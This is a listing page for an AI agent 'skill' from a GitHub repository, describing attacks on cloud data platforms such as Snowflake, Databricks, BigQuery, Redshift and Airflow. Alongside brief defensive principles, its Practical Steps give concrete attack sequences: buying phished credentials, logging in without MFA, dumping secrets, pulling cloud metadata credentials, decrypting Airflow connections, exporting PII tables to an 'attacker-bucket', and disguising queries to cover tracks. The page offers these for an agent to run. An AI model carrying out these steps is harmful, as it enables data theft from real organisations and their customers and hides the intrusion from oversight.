Data platform attack

From brucesongs/kali-claw · View interactive version

Data platform attack is an AI agent skill from the GitHub repository brucesongs/kali-claw. Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. Covers identity-based breaches (no perimeter), warehouse SQL injection at scale, IAM privilege escalation, secrets in DAGs, notebook code inject

How to use this skill

Skill file

Data Platform Attack

Supplementary Files:

- payloads.md — Attack payloads and commands organized by platform: Snowflake, Databricks, BigQuery, Redshift, dbt, Airflow, Spark, and lakehouse cross-platform attacks

- test-cases.md — 18 structured test cases covering reconnaissance, identity abuse, SQL injection at warehouse scale, secrets harvesting, notebook injection, and exfiltration

- guides/data-platform-attack-playbook.md — End-to-end playbook with engagement scoping, lab setup, reconnaissance methodology, identity abuse workflows, SQLi-at-scale patterns, exfiltration tactics, and blue-team detection engineering

- guides/real-world-incident-case-studies.md — Eight case studies including the 2024 Snowflake/Lapsus$/Scattered Spider breach, Mandiant UNC5537, Databricks notebook abuse, Airflow DAG secret harvesting, and dbt CI token theft

Summary

This skill targets modern cloud data platforms — warehouses, lakehouses, orchestration layers, and transformation pipelines — where the boundary between analytics and production has collapsed. Attackers no longer tunnel through database listeners; they walk in through SSO, service tokens, and CI/CD pipelines.

Tools: snowsql, databricks-cli, gcloud (BigQuery), aws cli (Redshift/Athena), bq, psql (Redshift), dbt, airflow-cli, spark-sql, sqlmap, pacu, enumerate-iam, m365 dataset scrapers

Domain: data-platform

MITRE ATT&CK: TA0006 Credential Access · T1078 Valid Accounts · T1213 Data from Information Repositories · T1552 Unsecured Credentials

Description

Attacks against cloud data platforms and analytics pipelines — Snowflake, Databricks, BigQuery, Redshift, dbt, Apache Airflow, and lakehouse architectures. These platforms concentrate an organization's most valuable data behind identity boundaries rather than network boundaries, so the primary attack surface is identity abuse, misconfigured public endpoints, secrets embedded in pipelines, and SQL injection scaled across warehouses that contain every production table.

This skill is distinct from:

Where database-attack asks "can I reach the listener?", data-platform-attack asks "given that the warehouse is internet-reachable by design and uses SSO/SAML, how do I turn a phished engineer into 4TB of exfiltrated customer records?"

Coverage includes: Snowflake account enumeration (origins + ORGNAME-USERNAME), key-pair auth abuse, SCIM provisioning gaps, network policies as the only firewall, Databricks workspace takeover via account-console tokens and PATs, BigQuery IAM abuse and authorized datasets, Redshift IAM chaining, dbt CI/CD token theft, Airflow DAG secret harvesting, Spark/Livy code injection, notebook RCE via %sh/%scala, lakehouse delta-layer corruption, and cross-tenant exfiltration via shared shares/marketplace listings.

Use Cases

Differentiation from Adjacent Skills

| Skill | Primary surface | Boundary type | Typical entry |

|---|---|---|---|

| database-attack | RDBMS listener (Oracle TNS, MySQL socket, Redis) | Network perimeter | Brute force on listener |

| cloud-security | CSP control plane (EC2, IAM, S3, Azure RM) | Cloud IAM | IAM enumeration |

| data-platform-attack (this) | Warehouse / lakehouse / orchestrator | Identity perimeter | Phishing, token leak, public endpoint |

| container-security | OCI, Kubernetes, containerd | K8s RBAC, pod identity | Container escape |

| ai-agent-framework-attack | LLM agent runtime | Agent prompt / tool surface | Indirect prompt injection |

| supply-chain-security | SBOM, package registry, build pipeline | CI/CD pipeline | Dependency confusion |

Core Tools

Snowflake

Databricks

BigQuery / GCP

Redshift / AWS

dbt / Airflow

General

Methodology

Phase 1 — Reconnaissance (Account & Tenant Discovery)

Phase 2 — Identity & Authentication Abuse

Phase 3 — Warehouse SQL Injection at Scale

Phase 4 — Pipeline & DAG Exploitation

Phase 5 — Notebook & Compute RCE

Phase 6 — Lakehouse & Delta Layer Attacks

Phase 7 — Cross-Tenant & Exfiltration

Defense Perspective

Core Principles

  1. Identity is the new perimeter — assume the warehouse is internet-reachable; enforce MFA, SCIM role mapping, and conditional access
  2. Network policies, not firewalls — Snowflake network policy = allowlist + blocklist of CIDRs; apply per-user, per-role
  3. Tri-partition of duties — separate producer, consumer, and auditor roles; never let a producer grant itself accountadmin
  4. Secrets never in DAGs — use Airflow Connections backed by AWS Secrets Manager / HashiCorp Vault; never Variable.set("AWS_KEY", ...)
  5. Detect by behavior, not by signature — large COPY INTO, unfamiliar QUERY_TAG, new geography, unusual role escalation are the high-signal events

Detection Engineering

Hardening Checklist

Practical Steps

Snowflake — UNC5537 Style Entry

  1. Confirm target account: curl -I https://acme.snowflakecomputing.com → 302 to Okta/Azure
  2. Purchase phished credentials on access broker marketplaces or use leaked cookie session
  3. If no MFA enforced: snowsql -a acme -u phished_user --authenticator=externalbrowser
  4. Enumerate: SHOW ROLES;, SHOW GRANTS;, USE ROLE ACCOUNTADMIN; (if SCIM mis-mapped)
  5. Pivot to exfil: COPY INTO @my_external_stage FROM customers;
  6. Cover tracks: ALTER SESSION SET QUERY_TAG='nightly_ingest';

Databricks — PAT to AWS

  1. Obtain leaked PAT from CI logs or notebook export
  2. databricks clusters list → identify cluster with instance profile ARN
  3. databricks secrets list-scopes → enumerate and dump via ACL flaws
  4. Run %python cell: requests.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/...')
  5. Use stolen instance profile creds via aws s3 ls against the customer bucket

Airflow — Connection Harvest

  1. Obtain read access to Airflow metadata DB (often backed by RDS)
  2. SELECT conn_id, conn_type, password FROM connection; (encrypted with FERNET_KEY from env)
  3. Pull FERNET_KEY from AIRFLOW__CORE__FERNET_KEY env or config file
  4. Decrypt all connections offline
  5. Pivot: use Snowflake connection creds to authenticate via snowsql

BigQuery — Authorized Dataset Abuse

  1. Service-account key leak → gcloud auth activate-service-account --key-file=sa.json
  2. bq ls --projects=customer-prod → enumerate datasets
  3. bq show --format=prettyjson dataset.table → schema recon
  4. bq query --use_legacy_sql=false 'SELECT * FROM \customer-prod.pii.users\ LIMIT 1000'
  5. Exfil: bq extract --destination_format=CSV 'customer-prod.pii.users' gs://attacker-bucket/users.csv

Redshift — IAM Chaining

  1. Compromise a low-priv role with redshift:GetClusterCredentials
  2. Connect via psql: psql -h cluster.x.redshift.amazonaws.com -u db_user
  3. Read stv_session_activity for lateral recon
  4. Identify tables with secrets (pg_catalog.pg_shadow)
  5. Pivot: enumerate AWS permissions of the cluster's IAM role via redshift-data:ExecuteStatement

Detection Methods

Data Platform Audit Logs

SIEM Detection Rules

Defense Evasion Techniques

Query Stealth

Privilege Abuse Stealth

Cross-References

References

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.